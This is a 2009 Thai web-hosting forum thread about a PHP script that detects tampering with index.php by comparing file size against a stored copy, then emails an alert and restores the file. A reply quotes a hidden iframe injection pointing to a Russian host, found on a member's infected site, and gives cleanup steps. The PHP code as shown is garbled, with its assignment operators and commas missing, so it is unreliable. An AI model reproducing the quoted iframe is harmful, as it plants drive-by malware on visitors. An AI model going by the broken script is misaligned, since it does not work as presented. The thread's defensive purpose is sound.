ตรวจสอบการ(แอบ)แก้ไข source code และ recovery ไฟล์บนโฮสแบบพื้นฐานด้วย php

เริ่มโดย zZzZ, 12 สิงหาคม 2009, 00:13:01

หัวข้อก่อนหน้า - หัวข้อถัดไป

0 สมาชิก และ 1 ผู้มาเยือน กำลังดูหัวข้อนี้

zZzZ

ตรวจสอบการแก้ไข และ recovery ไฟล์บนโฮสแบบพื้นฐานด้วย php

เก็บไว้นาน ยังไม่มีเวลาเอามาปรับใช้จริง เนื่องจากโค๊ดที่ทำอยู่ยังไม่นิ่งสักที พอดีเห็นท่านซอฟต์กบว่ากำลังทำๆอยู่
เลยเอามาโพสเผื่อจะมีคนนำไปใช้ น่าจะได้ประโยชน์กว่า

- ใช้ดูว่ามีคนมาแอบแก้ไฟล์เราหรือเปล่า หรือเอาไว้ตรวจเวลามีไวรัสมาแก้ไฟล์เราก็ได้ (ไวรัสบนเวบ จะทำการแทรกโค๊ดของตัวเองลงใน source code ของเรา ดังนั้นจะทำให้ขนาดไฟล์ที่ใช้งานของเราเปลี่ยนแปลง // ส่วนมากจะใหญ่ขึ้น)

- โค๊ดตรวจโดยเทียบ File size ของไฟล์ที่ใช้งานอยู่ กับไฟล์ที่เก็บไว้ในที่ปลอดภัย
หากขนาดไฟล์เปลี่ยน (แปลว่ามีคนหรือไวรัสมาเพิ่ม ลด source code) โปรแกรมจะอีเมล์มาแจ้งเรา พร้อมทั้งทำการดึงคอนเทนต์จากไฟล์ที่เก็บไว้ในที่ปลอดภัยมาทับกลับ

การนำไปใช้
www.domain.com/index.php
อันนี้คือไฟล์ที่ใช้งานอยู่ และเราต้องการปกป้อง

เราจะทำการเก็บไฟล์ต้นฉบับไว้ในที่ปลอดภัย เช่น
www.domain.com/sourceSafe/safe_index.php

อันนี้ตัวโค๊ดเหมือน index.php ทุกอย่าง แค่ใส่ในโฟลเดอร์ sourceSafe และเปลี่ยนชื่อไฟล์เพิ่มคำว่า safe_ เข้ามาต่อข้างหน้า (ไวรัสบางตัว จะเจาะจงโจมตีไฟล์ เช่น index.php ดังนั้นวิธีรักษาไฟล์ต้นฉบับไม่ให้ติดไวรัสง่ายๆคือเปลี่ยนชื่อไฟล์มันเสีย / หรือจะปรับปรุงโดยเปลี่ยนนามสกุล / หรือทำ php zip-unzip มันไว้ก็ได้ ปลอดภัยสุดๆ

ส่วนโปรแกรมตรวจสอบ (index_detect.php) ก็วางไว้ในโฟลเดอร์เดียวกับไฟล์ใช้งานเลยก็ได้

เรียกใช้งานโปรแกรมตรวจสอบ (อาจใช้เป็น cronjob ตั้งเวลาเรียก) หรือใช้ include ใส่ไฟล์ที่ใช้งานเลยก็ได้(จะตรวจเทียบ filesize ทุกครั้งที่มีการเรียกไฟล์)

<?php include('index_detect.php');?>

Code ของไฟล์ตรวจสอบ index_detect.php


<?php
/*Source safe - modify - Recovery 
Detect by : File size (Compare with safe source)
Report by : Email (Show modification time)
Example :
Safe source keep in [url=http://www.mydomain.com/SourceSafe]www.mydomain.com/SourceSafe[/url]
File to protect : [url=http://www.mydomain.com/index.php]www.mydomain.com/index.php[/url]
Source path must be : [url=http://www.mydomain.com/SourceSafe/safe_index.php]www.mydomain.com/SourceSafe/safe_index.php[/url]
*/
function hackDetect () 
{
$tst "";
$gzt "index.php"// Name of file to protect
$stat stat($gzt);
$gzt2 "sourceSafe/safe_" $gzt// Source code folder
$rstat stat($gzt2);
$ref $rstat[size];
$rtim $_SERVER['REQUEST_TIME'];
$rtim2 date("F d Y H:i:s."$rtim) . " Eastern";
$mtim filemtime($gzt);
$mtim2 date("F d Y H:i:s."$mtim) . " Eastern";
if ($stat[size] <> $ref)
{
$fw "index.php";
$_hack file_get_contents($fw);

$msg "$gzt has $stat[size] bytes and not $ref as it should.\n\n";
$msg .= "FILE MOD TIME $mtim$mtim2\n";
$msg .= "REQUEST_TIME $rtim$rtim2\n\n";
$msg .= "=================\n\n";
$msg .= $_hack;

$msg wordwrap($msg70);
mail('[email protected]','HACK ALERT'$msg);

$fr "sourceSafe/safe_index.php";
$str file_get_contents($fr);
$tst file_put_contents($fw$str);
}
return 
$tst;
}
$tst hackDetect();
?>






หรือจะดาวน์โหลดไฟล์ตัวอย่างแบบเป็นเซต ก็โหลดที่ ดาวน์โหลด


- การใช้หากเจอปัญหา write file ไม่ได้ ลองเปลี่ยน permission ของไฟล์ที่ต้องการป้องกันเป็น 646 / 666 ดู
(และหากจะนำไปใช้จริงจัง อาจเขียนเพิ่มให้แก้ permission ก่อน / หลังการ recovery )

- ถ้าไม่อยากถึกเซตทีละไฟล์ เอาไปโมเพิ่มเพื่อปกป้องทีละหลายๆไฟล์น่าจะดี

- เครดิต ตอนแรกอ่านเจอจากเวบ colorpack แล้วก็ลองหา gg ดู ก็ไปเจอตัวโค๊ดนี้มาจากเวบฝรั่ง ซึ่งไม่ได้เก็บลิงค์ไว้ หายไปไหนแล้วไม่รู้  :P แล้วมาแก้ๆปรับๆเองนิดหน่อยครับ
[direct=http://blackfridayhighlights.com/]PDD Wordpress-Amazon Demo[/direct]
[direct=http://www.facebook.com/pages/PandaDev/275145209179897?__req=hf] Support : PDD Wordpress-Amazon Plugin [/direct]
[direct=http://theworldtopbrands.com]Shopping by brands[/direct]
[direct=http://enduserreview.com]รีวิว[/direct]
[direct=http://findcouponcodesonline.com]Coupon[/direct]

mr.sit


Bankzz

เวปผม ตรง bottom page มันหายไปเรื่อยๆ ครับ  :o

และ ตรงด้านบนก็เกิดช่องว่างขึ้นด้วย ผมใช้ filezilla upload ครับ

ไม่แน่ใจว่าอันนี้เป็นไวรัสหรือเปล่าครับ

ผมลอง บอก ไปที่ support ของ host gator เค้ามาดูให้เมื่อก็หายดี พอเช้ามาเป้นอีกแล้วครับ

ไม่ทราบว่าพอมีวิธีแก้มั้ยครับ คือผมใช้ htm น่ะครับไม่ได้ใช้ php

และเวลาเป็น ก็เป็นทุกหน้าเลยครับ http://www.b-houseliving.com

ขอบคุณมากครับ

zZzZ

ไม่ได้เชคละเอียด แต่ดูคร่าวๆเวบท่านรู้สึก แท็ค html ไม่ครบ ไม่ได้ปิด html body แล้วก็มี iframe ตัวนี้
<iframe src="http://39q.ru:8080/index.php" width=154 height=124 style="visibility: hidden">

เข้าใจว่าไวรัสไอเฟรมครับ

ลองดูในกระทู้นี้ครับ
http://www.thaiseoboard.com/index.php/topic,62117.msg760060.html#msg760060

เบื้องต้นคือ ดาวน์โหลดทั้งเวบมาเก็บในเครื่องเรา
จากนั้นไล่หาโค๊ดไวรัส
เอาออกให้หมดทุกไฟล์

จากนั้นเปลี่ยนพาส FTP
เปลี่ยนโปรแกรม FTP (ในกระทู้ที่ส่งให้มีแนะนำไว้แล้ว)
อัพโหลดไฟล์ขึ้นไปใหม่
[direct=http://blackfridayhighlights.com/]PDD Wordpress-Amazon Demo[/direct]
[direct=http://www.facebook.com/pages/PandaDev/275145209179897?__req=hf] Support : PDD Wordpress-Amazon Plugin [/direct]
[direct=http://theworldtopbrands.com]Shopping by brands[/direct]
[direct=http://enduserreview.com]รีวิว[/direct]
[direct=http://findcouponcodesonline.com]Coupon[/direct]

morizaki

 :o แนวคิดดีจริงๆครับ เป็นประโยชน์มาก ปกติผมทำพวก scan check ในแต่ละเจ้า (กรณีทำให้หลายที่)
ว่ามันเหมือนกันหรือเปล่า (ตรวจสอบการ update coding) แต่อันนี้ปรับมาใช้กับการถูกปรับเปลี่ยน กับไวรัส iframe
แจ่มครับ

อยู่บอร์ดนี้ดีจริงๆ ไอเดียคนเทพๆ เยอะดี อ่านแล้วเริ่มเดินออกจากกะลาเลย ;D ;D
มาอยู่ได้ไม่ถึงอาทิตย์ มีอะไรดีๆ เยอะดี
ผมมือใหม่อยู่ครับ ยังไงฝากตัวด้วยนะครับ

ปล.ขณะนี้พยายามทำตามขั้นตอนที่ 1 => ให้ถึง 100 โพสต์ก่อน แล้วจะเริ่มเป็นผู้เป็นคน :-[ :'(

ceinueng

ติดตรงต้อง "ถึก" นี่แหละ ไม่ว่าจะวิธี safe ไว้ก่อนหรือแก้ทีหลัง :P
[direct=http://www.ichiangrai.co.th]สิบสองปันนา[/direct]

TOOAds.com